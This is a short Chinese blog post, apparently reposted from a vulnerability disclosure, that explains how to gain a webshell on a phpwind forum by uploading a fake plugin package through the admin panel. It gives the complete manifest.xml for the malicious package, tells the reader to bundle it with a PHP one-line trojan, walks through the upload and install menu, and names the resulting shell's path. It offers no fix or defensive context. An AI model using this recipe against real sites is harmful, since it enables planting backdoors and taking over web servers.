phpwind后台getshell
- 发表于
- 周边
后台上传插件处，可以上传一个包含php木马的phpwind标准格式插件安装包，并可getshell.
1.先制作一个安装包，需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。
manifest.xml如下：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?xml version="1.0" encoding="gbk"?> <manifest> <application> <name>getshell</name> <alias>getshell</alias> <version>1.0</version> <pw-version>1.0</pw-version> <type>app</type> <description>getshell </description> <charset>gbk</charset> <website>http://wooyun.org</website> <author-name>123@wooyun</author-name> <author-email>root@wooyun.org</author-email> <author-icon>http://wooyun.org</author-icon> </application> <res>res</res> </manifest> |
将以上文件打包成zip格式。
2.在后台 云平台-》应用管理-》本地安装处上传制作好的安装包，并点击安装。
3.shell为http://127.0.0.1/phpwind/src/extensions/getshell/php.php
原文连接：phpwind后台getshell
所有媒体，可在保留署名、
原文连接的情况下转载，若非则不得使用我方内容。
